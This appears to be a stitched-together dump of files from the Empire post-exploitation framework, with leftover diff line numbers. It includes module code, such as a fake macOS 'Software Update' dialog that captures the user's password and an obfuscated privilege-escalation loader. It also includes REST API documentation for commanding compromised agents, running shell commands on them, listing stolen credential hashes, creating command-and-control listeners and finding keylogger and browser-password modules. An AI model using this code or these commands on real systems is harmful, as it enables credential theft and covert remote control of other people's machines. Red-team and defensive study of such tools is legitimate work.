61 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
62 moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
63 try:
64 f = open(moduleSource, 'r')
65 except:
66 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
67 return ""
68 moduleCode = f.read()
69 f.close()
70 # # get just the code needed for the specified function
71 # script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
72 script = moduleCode
73 scriptEnd = "Invoke-PrivescCheck"
74
75 if obfuscate:
76 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd,
77 obfuscationCommand=obfuscationCommand)
78 script += scriptEnd
79 script = helpers.keyword_obfuscation(script)
80
81 return script
108108 # osascript prompt for the current application with System Preferences icon
109109 script = """
110110 import os
111 print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon file "Applications:System Preferences.app:Contents:Resources:PrefApp.icns" with hidden answer with title "Software Update"\\\'').read())
111 print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with hidden answer with title "Software Update"\\\'').read())
112112 """
113113
114114 else:
8686 def do_test(self, args):
8787 """
8888 An example of a plugin function.
89
9089 Usage: test <start|stop> <message>
9190 """
9291 print("This is executed from a plugin!")
115114 """
116115 # If the plugin spawns a process provide a shutdown method for when Empire exits else leave it as pass
117116 pass
117
0 * [User Login](#User-Login)
1 * [User Logout](#User-Logout)
2 * [Restart the RESTful API Server](#restart-the-restful-api-server)
3 * [Shutdown the RESTful API Server](#shutdown-the-restful-api-server)
4
5 ## User Login
6
7 ### Handler
8
9 * **Handler** : POST /api/admin/login
10 * Description : Retrieves the API token given the correct username and password.
11 * No parameters
12
13 ### Example
14
15 **Request**:
16 ```bash
17 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'
18 ```
19
20 **Response**:
21 ```json
22 {
23 "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5"
24 }
25 ```
26 ## User Logout
27
28 ### Handler
29
30 * **Handler** : POST /api/admin/logout
31 * Description : Logs out of current user account.
32 * No parameters
33
34 ### Example
35
36 **Request**:
37 ```bash
38 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/logout -X POST
39 ```
40
41 **Response**:
42 ```json
43 {
44 "success": "True"
45 }
46 ```
47 ## Restart the RESTful API Server
48
49 ### Handler
50
51 * **Handler** : GET /api/restart
52 * Description : Restarts the RESTful API server.
53 * No parameters
54
55 ### Example
56
57 **Request**:
58 ```bash
59 curl --insecure -i https://localhost:1337/api/admin/restart?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
60 ```
61
62 **Response**:
63 ```json
64 {
65 "success": true
66 }
67 ```
68
69 ## Shutdown the RESTful API Server
70
71 ### Handler
72
73 * **Handler** : GET /api/shutdown
74 * Description : Shutdown the RESTful API server.
75 * No parameters
76
77 ### Example
78
79 **Request**:
80 ```bash
81 curl --insecure -i https://localhost:1337/api/admin/shutdown?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
82 ```
83
84 **Response**:
85 ```json
86 {
87 "success": true
88 }
89 ```
0 * [Get Current Agents](#get-current-agents)
1 * [Get Stale Agents](#get-stale-agents)
2 * [Remove Stale Agents](#remove-stale-agents)
3 * [Remove Agent](#remove-agent)
4 * [Task an Agent to run a Shell Command](#task-an-agent-to-run-a-shell-command)
5 * [Task all Agents to run a Shell Command](#task-all-agents-to-run-a-shell-command)
6 * [Get Agent Results](#get-agent-results)
7 * [Delete Agent Results](#delete-agent-results)
8 * [Delete All Agent Results](#delete-all-agent-results)
9 * [Clear Queued Agent Tasking](#clear-queued-agent-tasking)
10 * [Rename an Agent](#rename-an-agent)
11 * [Kill an Agent](#kill-an-agent)
12 * [Kill all Agents](#kill-all-agents)
13
14 ## Get Current Agents
15
16 ### Handler
17
18 * **Handler** : GET /api/agents
19 * Description : Returns all current Empire agents.
20 * No parameters
21
22 ### Example
23
24 **Request**:
25 ```bash
26 curl --insecure -i https://localhost:1337/api/agents?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
27 ```
28
29 **Response**:
30 ```json
31 {
32 "agents": [
33 {
34 "ID": 1,
35 "checkin_time": "2016-03-31 17:36:34",
36 "children": null,
37 "delay": 5,
38 "external_ip": "192.168.52.200",
39 "functions": null,
40 "headers": "",
41 "high_integrity": 0,
42 "hostname": "WINDOWS1",
43 "internal_ip": "192.168.52.200",
44 "jitter": 0.0,
45 "kill_date": "",
46 "lastseen_time": "2016-03-31 17:38:55",
47 "listener": "http://192.168.52.172:8080/",
48 "lost_limit": 60,
49 "name": "3GHZPWEGADMT2KPA",
50 "old_uris": null,
51 "os_details": "Microsoft Windows 7 Professional ",
52 "parent": null,
53 "process_id": "1636",
54 "process_name": "powershell",
55 "ps_version": "2",
56 "results": "",
57 "servers": null,
58 "sessionID": "3GHZPWEGADMT2KPA",
59 "session_key": "7.+...",
60 "taskings": "",
61 "uris": "/admin/get.php,/news.asp,/login/process.jsp",
62 "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
63 "username": "WINDOWS1\\user",
64 "working_hours": ""
65 },
66 ...
67 ]
68 }
69 ```
70
71 ## Get Stale Agents
72
73 ### Handler
74
75 * **Handler** : GET /api/agents/stale
76 * Description : Returns all 'stale' Empire agents (past checkin window).
77 * No parameters
78
79 ### Example
80
81 **Request**:
82 ```bash
83 curl --insecure -i https://localhost:1337/api/agents/stale?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
84 ```
85
86 **Response**:
87 ```json
88 {
89 "agents": [
90 {
91 "ID": 1,
92 "checkin_time": "2016-03-31 17:36:34",
93 "children": null,
94 "delay": 5,
95 "external_ip": "192.168.52.200",
96 "functions": null,
97 "headers": "",
98 "high_integrity": 0,
99 "hostname": "WINDOWS1",
100 "internal_ip": "192.168.52.200",
101 "jitter": 0.0,
102 "kill_date": "",
103 "lastseen_time": "2016-03-31 17:38:55",
104 "listener": "http://192.168.52.172:8080/",
105 "lost_limit": 60,
106 "name": "3GHZPWEGADMT2KPA",
107 "old_uris": null,
108 "os_details": "Microsoft Windows 7 Professional ",
109 "parent": null,
110 "process_id": "1636",
111 "process_name": "powershell",
112 "ps_version": "2",
113 "results": "",
114 "servers": null,
115 "sessionID": "3GHZPWEGADMT2KPA",
116 "session_key": "7.+...",
117 "taskings": "",
118 "uris": "/admin/get.php,/news.asp,/login/process.jsp",
119 "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
120 "username": "WINDOWS1\\user",
121 "working_hours": ""
122 },
123 ...
124 ]
125 }
126 ```
127
128 ## Remove Stale Agents
129
130 ### Handler
131
132 * **Handler** : DELETE /api/agents/stale
133 * Description : Removes all 'stale' Empire agents (past checkin window).
134 * No parameters
135
136 ### Example
137
138 **Request**:
139 ```bash
140 curl --insecure -i https://localhost:1337/api/agents/stale?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE
141 ```
142
143 **Response**:
144 ```json
145 {
146 "success": true
147 }
148 ```
149
150 ## Get Agent by Name
151
152 ### Handler
153
154 * **Handler** : GET /api/agents/AGENT_NAME
155 * Description : Returns the agent specifed by AGENT_NAME.
156 * No parameters
157
158 ### Example
159
160 **Request**:
161 ```bash
162 curl --insecure -i https://localhost:1337/api/agents/XMY2H2ZPFWNPGEAP?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
163 ```
164
165 **Response**:
166 ```json
167 {
168 "agents": [
169 {
170 "ID": 1,
171 "checkin_time": "2016-03-31 20:29:31",
172 "children": null,
173 "delay": 5,
174 "external_ip": "192.168.52.200",
175 "functions": null,
176 "headers": "",
177 "high_integrity": 0,
178 "hostname": "WINDOWS1",
179 "internal_ip": "192.168.52.200",
180 "jitter": 0.0,
181 "kill_date": "",
182 "lastseen_time": "2016-03-31 20:29:38",
183 "listener": "http://192.168.52.173:8080/",
184 "lost_limit": 60,
185 "name": "XMY2H2ZPFWNPGEAP",
186 "old_uris": null,
187 "os_details": "Microsoft Windows 7 Professional ",
188 "parent": null,
189 "process_id": "2600",
190 "process_name": "powershell",
191 "ps_version": "2",
192 "results": null,
193 "servers": null,
194 "sessionID": "XMY2H2ZPFWNPGEAP",
195 "session_key": "+e`x!...",
196 "taskings": null,
197 "uris": "/admin/get.php,/news.asp,/login/process.jsp",
198 "user_agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
199 "username": "WINDOWS1\\user",
200 "working_hours": ""
201 }
202 ]
203 }
204 ```
205
206 ## Remove Agent
207
208 ### Handler
209
210 * **Handler** : DELETE /api/agents/AGENT_NAME
211 * Description : Removes the agent specifed by AGENT_NAME (doesn't kill first).
212 * No parameters
213
214 ### Example
215
216 **Request**:
217 ```bash
218 curl --insecure -i https://localhost:1337/api/agents/XMY2H2ZPFWNPGEAP?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE
219 ```
220
221 **Response**:
222 ```json
223 {
224 "success": true
225 }
226 ```
227
228 ## Task an Agent to run a Shell Command
229
230 ### Handler
231
232 * **Handler** : POST /api/agents/AGENT_NAME/shell
233 * Description : Tasks the agent specified by AGENT_NAME to run the given shell command.
234 * Parameters :
235 * command : the shell command to task the agent to run (required)
236
237 ### Example
238
239 **Request**:
240 ```bash
241 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/shell?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"command":"whoami"}'
242 ```
243
244 **Response**:
245 ```json
246 {
247 "success": true
248 }
249 ```
250
251 ## Task all Agents to run a Shell Command
252
253 ### Handler
254
255 * **Handler** : POST /api/agents/all/shell
256 * Description : Tasks all agents to run the given shell command.
257 * Parameters :
258 * command : the shell command to task the agents to run (required)
259
260 ### Example
261
262 **Request**:
263 ```bash
264 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/shell?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"command":"pwd"}'
265 ```
266
267 **Response**:
268 ```json
269 {
270 "success": true
271 }
272 ```
273
274 ## Get Agent Results
275
276 ### Handler
277
278 * **Handler** : GET /api/agents/AGENT_NAME/results
279 * Description : Retrieves results for the agent specifed by AGENT_NAME.
280 * No parameters
281
282 ### Example
283
284 **Request**:
285 ```bash
286 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
287 ```
288
289 **Response**:
290 ```json
291 {
292 "results": [
293 {
294 "agentname": "CXPLDTZCKFNT3SLT",
295 "results": "WINDOWS1\\user\nPath \r\n---- \r\nC:\\Users\\user
296 }
297 ]
298 }r
299 ```
300
301 ## Delete Agent Results
302
303 ### Handler
304
305 * **Handler** : DELETE /api/agents/AGENT_NAME/results
306 * Description : Deletes the result buffer for the agent specifed by AGENT_NAME.
307 * No parameters
308
309 ### Example
310
311 **Request**:
312 ```bash
313 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE
314 ```
315
316 **Response**:
317 ```json
318 {
319 "success": true
320 }
321 ```
322
323 ## Delete All Agent Results
324
325 ### Handler
326
327 * **Handler** : DELETE /api/agents/all/results
328 * Description : Deletes all agent result buffers
329 * No parameters
330
331 ### Example
332
333 **Request**:
334 ```bash
335 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/results?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE
336 ```
337
338 **Response**:
339 ```json
340 {
341 "success": true
342 }
343 ```
344
345 ## Clear Queued Agent Tasking
346
347 ### Handler
348
349 * **Handler** : POST/GET /api/agents/AGENT_NAME/clear
350 * Description : Clears the queued taskings for the agent specified by AGENT_NAME.
351 * No parameters
352
353 ### Example
354
355 **Request**:
356 ```bash
357 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/clear?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
358 ```
359
360 **Response**:
361 ```json
362 {
363 "success": true
364 }
365 ```
366
367 ## Rename an Agent
368
369 ### Handler
370
371 * **Handler** : POST/GET /api/agents/AGENT_NAME/rename
372 * Description : Renames the agent specified by AGENT_NAME.
373 * Parameters :
374 * newname : the name to rename the specified agent to (required)
375
376 ### Example
377
378 **Request**:
379 ```bash
380 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/rename?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"newname":"initial"}'
381 ```
382
383 **Response**:
384 ```json
385 {
386 "success": true
387 }
388 ```
389
390 ## Kill an Agent
391
392 ### Handler
393
394 * **Handler** : POST/GET /api/agents/AGENT_NAME/kill
395 * Description : Tasks the agent specified by AGENT_NAME to exit.
396 * No parameters
397
398 ### Example
399
400 **Request**:
401 ```bash
402 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/CXPLDTZCKFNT3SLT/kill?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
403 ```
404
405 **Response**:
406 ```json
407 {
408 "success": true
409 }
410 ```
411
412 ## Kill all Agents
413
414 ### Handler
415
416 * **Handler** : POST/GET /api/agents/all/kill
417 * Description : Tasks all agents to exit.
418 * No parameters
419
420 ### Example
421
422 **Request**:
423 ```bash
424 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/agents/all/kill?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
425 ```
426
427 **Response**:
428 ```json
429 {
430 "success": true
431 }
432 ```
0 ## Get Stored Credentials
1
2 ### Handler
3
4 * **Handler** : GET /api/creds
5 * Description : Returns all credentials currently stored in an Empire server.
6 * No parameters
7
8 ### Example
9
10 **Request**:
11 ```bash
12 curl --insecure -i https://localhost:1337/api/creds?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
13 ```
14
15 **Response**:
16 ```json
17 {
18 "creds": [
19 {
20 "ID": 1,
21 "credtype": "hash",
22 "domain": "testlab.local",
23 "host": "WINDOWS1",
24 "notes": "2016-03-31 17:37:23",
25 "password": "2b576acbe6b...",
26 "sid": "S-1-5-21-664317401-282805101-...",
27 "username": "Administrator"
28 },
29 ...
30 ]
31 }
32 ```
0 ![Empire](https://user-images.githubusercontent.com/20302208/70022749-1ad2b080-154a-11ea-9d8c-1b42632fd9f9.jpg)
1
2 [1.1]: http://i.imgur.com/tXSoThF.png (twitter icon with padding)
3 [2.1]: http://i.imgur.com/P3YfQoD.png (facebook icon with padding)
4 [3.1]: http://i.imgur.com/yCsTjba.png (google plus icon with padding)
5 [4.1]: http://i.imgur.com/YckIOms.png (tumblr icon with padding)
6 [5.1]: http://i.imgur.com/1AGmwO3.png (dribbble icon with padding)
7 [6.1]: http://i.imgur.com/0o48UoR.png (github icon with padding)
8
9 [1]: https://twitter.com/bcsecurity1
10 [2]: http://www.facebook.com/XXXXXXX
11 [3]: https://plus.google.com/XXXXXXX
12 [4]: http://XXXXXXX.tumblr.com
13 [5]: http://dribbble.com/XXXXXXX
14 [6]: http://www.github.com/BC-SECURITY
15 [7]: https://www.bc-security.org/blog
16
17 ![GitHub Release](https://img.shields.io/github/v/release/BC-SECURITY/Empire)
18 ![GitHub contributors](https://img.shields.io/github/contributors/BC-SECURITY/Empire)
19 ![GitHub commit activity](https://img.shields.io/github/commit-activity/m/BC-SECURITY/Empire)
20 ![GitHub stars](https://img.shields.io/github/stars/BC-SECURITY/Empire)
21 ![GitHub](https://img.shields.io/github/license/BC-Security/Empire)
22 [![Twitter URL](https://img.shields.io/twitter/url/https/twitter.com/fold_left.svg?style=flat)](https://twitter.com/BCSecurity1)
23
24 Keep up-to-date on our blog at [https://www.bc-security.org/blog][7]
25
26 # Empire
27 Empire 3 is a post-exploitation framework that includes a pure-PowerShell Windows agent, and compatibility with Python 3.x Linux/OS X agents. It is the merger of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and flexible architecture.
28
29 On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. PowerShell Empire premiered at [BSidesLV in 2015](https://www.youtube.com/watch?v=Pq9t59w0mUI) and Python EmPyre premiered at HackMiami 2016. BC-Security presented updates to further evade Microsoft Antimalware Scan Interface (AMSI) and JA3/S signatures at [DEF CON 27](https://github.com/BC-SECURITY/DEFCON27).
30
31 Empire relies heavily on the work from several other projects for its underlying functionality. We have tried to call out a few of those people we've interacted with [heavily here](http://www.powershellempire.com/?page_id=2) and have included author/reference link information in the source of each Empire module as appropriate. If we have failed to properly cite existing or prior work, please let us know at [email protected].
32
33 Empire is currently being developed and maintained by [@Cx01N](https://twitter.com/Cx01N_), [@Hubbl3](https://twitter.com/_Hubbl3), & [@Vinnybod](https://twitter.com/AZHalcyon). While the main Empire project is no longer maintained, this fork is maintained by [@bcsecurity1](https://twitter.com/BCSecurity1).
34 Please reach out to us on our [Discord](https://discord.gg/P8PZPyf) if you have any questions or talk about offensive security.
35
36 ## Documentation
37 Empire maintains a web site version of the documentation at [http://www.powershellempire.com](http://www.powershellempire.com).
38
39 ## Help us Improve!
40
41 This documentation was organized and built by the PowerShell Empire development team. It is neither complete nor perfect, so any suggestions, corrections, or additions from the community would be greatly appreciated. Please submit any Wiki changes as [Empire Pull Requests](https://github.com/BC-SECURITY/Empire/pulls) using the [Wiki directory](./wiki).
42
43 contact us by email at [email protected] with any drafted wiki pages or suggested modifications.
44
45 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_logo.png|align=center]]
0 The following operating systems have been tested for Empire compatibility. We will be unable to provide support for other OSs at this time. Consider using our [Prebuilt Docker containers](#Docker) which can run on any system.
1 - Kali Linux
2 - Ubuntu
3 - Debian
4
5 ## Kali
6
7 You can install the latest version of Empire by running the following:
8
9 ```sh
10 apt install powershell-empire
11 ```
12
13 ## Github
14 _Debian, Kali, Ubuntu_
15
16 To install and run:
17
18 ```sh
19 git clone https://github.com/BC-SECURITY/Empire.git
20 cd Empire
21 sudo ./setup/install.sh
22 sudo poetry install
23 sudo poetry run python empire --rest -n
24 ```
25
26 ## Docker
27 If you want to run Empire using a pre-built docker container:
28 ```bash
29 docker pull bcsecurity/empire:{version}
30 docker run -it bcsecurity/empire:{version}
31
32 # with persistent storage
33 docker pull bcsecurity/empire:{version}
34 docker create -v /empire --name data bcsecurity/empire:{version}
35 docker run -it --volumes-from data bcsecurity/empire:{version}
36
37 # if you prefer to be dropped into bash instead of directly into empire
38 # docker run -it --volumes-from data bcsecurity/empire:{version} /bin/bash
39 ```
40
41 All image versions can be found at: https://hub.docker.com/r/bcsecurity/empire/
42 * The last commit from master will be deployed to the `latest` tag
43 * The last commit from the dev branch will be deployed to the `dev` tag
44 * All github tagged releases will be deployed using their version numbers (v3.0.0, v3.1.0, etc)
45
46 # Community-Supported Operating Systems
47 At this time, we are choosing to only support Kali, Debian, and Ubuntu installations, however we will accept pull requests that fix issues or provide installation scripts specific to other operating systems to this wiki.
48
49 <!---
50 ## Fedora
51 -->
0 * [Get Current Listeners](#get-current-listeners)
1 * [Get Listener by Name](#get-listener-by-name)
2 * [Get Current Listener Options](#get-current-listener-options)
3 * [Create a Listener](#create-a-listener)
4 * [Kill a Listener](#kill-a-listener)
5 * [Kill All Listeners](#kill-all-listeners)
6
7 ## Get Current Listeners
8
9 ### Handler
10
11 * **Handler** : GET /api/listeners
12 * Description : Returns all current Empire listeners.
13 * No parameters
14
15 ### Example
16
17 **Request**:
18 ```bash
19 curl --insecure -i https://localhost:1337/api/listeners?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
20 ```
21
22 **Response**:
23 ```json
24 {
25 "listeners": [
26 {
27 "ID": 1,
28 "cert_path": "",
29 "default_delay": 5,
30 "default_jitter": 0.0,
31 "default_lost_limit": 60,
32 "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
33 "host": "http://192.168.52.172:8080",
34 "kill_date": "",
35 "listener_type": "native",
36 "name": "test",
37 "port": 8080,
38 "redirect_target": "",
39 "staging_key": "m@T%L?V...",
40 "working_hours": ""
41 }
42 ]
43 }
44 ```
45
46 ## Get Listener by Name
47
48 ### Handler
49
50 * **Handler** : GET /api/listeners/LISTENER_NAME
51 * Description : Returns the listener specifed by the name/id LISTENER_NAME.
52 * No parameters
53
54 ### Example
55
56 **Request**:
57 ```bash
58 curl --insecure -i https://localhost:1337/api/listeners/test?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
59 ```
60
61 **Response**:
62 ```json
63 {
64 "listeners": [
65 {
66 "ID": 1,
67 "cert_path": "",
68 "default_delay": 5,
69 "default_jitter": 0.0,
70 "default_lost_limit": 60,
71 "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
72 "host": "http://192.168.52.172:8080",
73 "kill_date": "",
74 "listener_type": "native",
75 "name": "test",
76 "port": 8080,
77 "redirect_target": "",
78 "staging_key": "m@T%L...",
79 "working_hours": ""
80 }
81 ]
82 }
83 ```
84
85 ## Get Current Listener Options
86
87 ### Handler
88
89 * **Handler** : GET /api/listeners/options/listener_type
90 * Description : Returns the current listener options for the specified type.
91 * No parameters
92
93 ### Example
94
95 **Request**:
96 ```bash
97 curl --insecure -i https://localhost:1337/api/listeners/options/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
98 ```
99
100 **Response**:
101 ```json
102 {
103 "listeneroptions": [
104 {
105 "CertPath": {
106 "Description": "Certificate path for https listeners.",
107 "Required": false,
108 "Value": ""
109 },
110 "DefaultDelay": {
111 "Description": "Agent delay/reach back interval (in seconds).",
112 "Required": true,
113 "Value": 5
114 },
115 "DefaultJitter": {
116 "Description": "Jitter in agent reachback interval (0.0-1.0).",
117 "Required": true,
118 "Value": 0.0
119 },
120 "DefaultLostLimit": {
121 "Description": "Number of missed checkins before exiting",
122 "Required": true,
123 "Value": 60
124 },
125 "DefaultProfile": {
126 "Description": "Default communication profile for the agent.",
127 "Required": true,
128 "Value": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
129 },
130 "Host": {
131 "Description": "Hostname/IP for staging.",
132 "Required": true,
133 "Value": "http://192.168.52.173:8080"
134 },
135 "KillDate": {
136 "Description": "Date for the listener to exit (MM/dd/yyyy).",
137 "Required": false,
138 "Value": ""
139 },
140 "Name": {
141 "Description": "Listener name.",
142 "Required": true,
143 "Value": "test"
144 },
145 "Port": {
146 "Description": "Port for the listener.",
147 "Required": true,
148 "Value": "8080"
149 },
150 "RedirectTarget": {
151 "Description": "Listener target to redirect to for pivot/hop.",
152 "Required": false,
153 "Value": ""
154 },
155 "StagingKey": {
156 "Description": "Staging key for initial agent negotiation.",
157 "Required": true,
158 "Value": "m@T%L..."
159 },
160 "Type": {
161 "Description": "Listener type (native, pivot, hop, foreign, meter).",
162 "Required": true,
163 "Value": "native"
164 },
165 "WorkingHours": {
166 "Description": "Hours for the agent to operate (09:00-17:00).",
167 "Required": false,
168 "Value": ""
169 }
170 }
171 ]
172 }
173 ```
174
175 ## Create a Listener
176
177 ### Handler
178
179 * **Handler** : POST /api/listeners/listener_type
180 * Description : Creates a listener with the specified parameters.
181 * Parameters (none required) :
182 * Name : name for the listener
183 * *additional* : any additional values enumerated from listener options above
184
185 ### Example
186
187 **Request**:
188 ```bash
189 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/listeners/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"Name":"testing"}'
190 ```
191
192 **Response**:
193 ```json
194 {
195 "msg": "listener 'testing' successfully started.",
196 "success": true
197 }
198 ```
199
200 ### Failure Example
201
202 **Request**:
203 ```bash
204 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/listeners/http?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"Name":"testing"}'
205 ```
206
207 **Response**:
208 ```json
209 {
210 "msg": "Error starting listener on port 8080, port likely already in use.",
211 "success": false
212 }
213 ```
214
215 ## Kill a Listener
216
217 ### Handler
218
219 * **Handler** : DELETE /api/listeners/LISTENER_NAME
220 * Description : Kills the listener specifed by the name/id LISTENER_NAME.
221 * No parameters
222
223 #### Example
224
225 **Request**:
226 ```bash
227 curl --insecure -i https://localhost:1337/api/listeners/testing?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE
228 ```
229
230 **Response**:
231 ```json
232 {
233 "success": true
234 }
235 ```
236
237 ## Kill All Listeners
238
239 ### Handler
240
241 * **Handler** : DELETE /api/listeners/all
242 * Description : Kills all listeners.
243 * No parameters
244
245 ### Example
246
247 **Request**:
248 ```bash
249 curl --insecure -i https://localhost:1337/api/listeners/all?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X DELETE
250 ```
251
252 **Response**:
253 ```json
254 {
255 "success": true
256 }
257 ```
0 Modules are contained in the **./lib/modules/* ** folder. The template.py file has detailed information on a module's structure and what it should contain:
1
2 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_template.png|align=center]]
3
4 Additional options go in self.options after the **Agent** argument. A module like **./lib/modules/situational_awareness/userhunter.py** has an example of this. If the argument is required for execution, set Required to True, and if you want a default value filled, set Value.
5
6 In the generate() method, the script variable holds the main PowerShell script you want to run. End this script with the main function you want run, with no spaces after the triple quotes, e.g. Invoke-Something""". If your PowerShell script is large or reused by multiple modules, consider placing it in the **./data/module_source/* ** directory and reading it in as a resource.
7
8 If any of your options need special manipulation, modify the for option,values in self.options.iteritems(): code. For example, the credentials/mimikatz/golden_ticket needs some options tacked on in a special format, so it handles them accordingly.
9
10 You might have to play around with the formatted output for your module, e.g. **collection/filefinder** needs to append script += " | Out-String" to format the output correctly.
11
12 While testing, if you modify the PowerShell script itself, you don’t need to reload anything to retest running on an agent. If you modify the Python wrapper for the module, you can do **reload** in the module menu to reload the module.py file itself.
0 * [Get Current Modules](#get-current-modules)
1 * [Get Module by Name](#get-module-by-name)
2 * [Search for Module](#search-for-module)
3 * [Execute a Module](#execute-a-module)
4
5 ## Get Current Modules
6
7 ### Handler
8
9 * **Handler** : GET /api/modules
10 * Description : Returns all current Empire modules.
11 * No parameters
12
13 ### Example
14
15 **Request**:
16 ```bash
17 curl --insecure -i https://localhost:1337/api/modules?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
18 ```
19
20 **Response**:
21 ```json
22 {
23 "modules": [
24 {
25 "Author": [
26 "@xorrior"
27 ],
28 "Background": true,
29 "Comments": [
30 "https://github.com/xorrior/RandomPS-Scripts/blob/master/Get-FoxDump.ps1",
31 "http://xakfor.net/threads/c-firefox-36-password-cookie-recovery.12192/"
32 ],
33 "Description": "This module will dump any saved passwords from Firefox to the console. This should work for any versionof Firefox above version 32. This will only be successful if the master password is blank or has not been set.",
34 "MinPSVersion": "2",
35 "Name": "collection/FoxDump",
36 "NeedsAdmin": false,
37 "OpsecSafe": true,
38 "OutputExtension": null,
39 "SaveOutput": false,
40 "options": {
41 "Agent": {
42 "Description": "Agent to run the module on.",
43 "Required": true,
44 "Value": ""
45 },
46 "OutFile": {
47 "Description": "Path to Output File",
48 "Required": false,
49 "Value": ""
50 }
51 }
52 },
53 ...
54 ]
55 }
56 ```
57
58 ## Get Module by Name
59
60 ### Handler
61
62 * **Handler** : GET /api/modules/MODULE_NAME
63 * Description : Returns the module specified by MODULE_NAME.
64 * No parameters
65
66 ### Example
67
68 **Request**:
69 ```bash
70 curl --insecure -i https://localhost:1337/api/modules/collection/keylogger?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
71 ```
72
73 **Response**:
74 ```json
75 {
76 "modules": [
77 {
78 "Author": [
79 "@obscuresec",
80 "@mattifestation",
81 "@harmj0y"
82 ],
83 "Background": true,
84 "Comments": [
85 "https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1"
86 ],
87 "Description": "Logs keys pressed, time and the active window (when changed).",
88 "MinPSVersion": "2",
89 "Name": "collection/keylogger",
90 "NeedsAdmin": false,
91 "OpsecSafe": true,
92 "OutputExtension": null,
93 "options": {
94 "Agent": {
95 "Description": "Agent to run module on.",
96 "Required": true,
97 "Value": ""
98 }
99 }
100 }
101 ]
102 }
103 ```
104
105 ## Search for Module
106
107 ### Handler
108
109 * **Handler** : POST /api/modules/search
110 * Description : Searches all module fields for the given term.
111 * Parameters (none required) :
112 * term : the term to search for (required)
113
114 ### Example
115
116 **Request**:
117 ```bash
118 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/modules/search?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -d '{"term":"keylogger"}'
119 ```
120
121 **Response**:
122 ```json
123 {
124 "modules": [
125 {
126 "Author": [
127 "@obscuresec",
128 "@mattifestation",
